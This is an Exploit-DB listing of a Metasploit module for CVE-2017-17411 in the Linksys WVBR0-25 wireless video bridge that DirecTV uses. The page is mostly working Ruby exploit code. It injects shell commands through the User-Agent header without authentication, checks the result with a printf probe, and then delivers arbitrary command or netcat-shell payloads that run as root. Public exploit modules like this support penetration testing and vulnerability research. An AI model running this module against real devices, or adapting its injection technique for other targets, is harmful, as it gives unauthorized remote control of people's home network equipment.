Linksys WVBR0-25 - User-Agent Command Execution (Metasploit)

EDB-ID: 43429
Author: Metasploit
Published: 2018-01-04
CVE: CVE-2017-17411
Type: Remote
Platform: Hardware
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF)
Vulnerable App: N/A

 # This module requires Metasploit: http://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
'Description' => %q{
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
of the web management portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
},
'Author' =>
[
'HeadlessZeke' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-17411'],
['ZDI', '17-973'],
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
],
'DisclosureDate' => 'Dec 13 2017',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0
))
end

def check
check_str = rand_text_alpha(8)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; printf \"#{check_str}"
})
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Trying to access the device ...")

unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
end

print_status("#{peer} - Exploiting...")

if datastore['PAYLOAD'] == 'cmd/unix/generic'
exploit_cmd
else
exploit_session
end
end

def exploit_cmd
beg_boundary = rand_text_alpha(8)

begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
})

if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
print_status("#{peer} - Command output: #{$1}")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def exploit_session
begin
send_request_raw({
'method' => 'GET',
'uri' => '/',
'agent' => "\"; #{payload.encoded} #"
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

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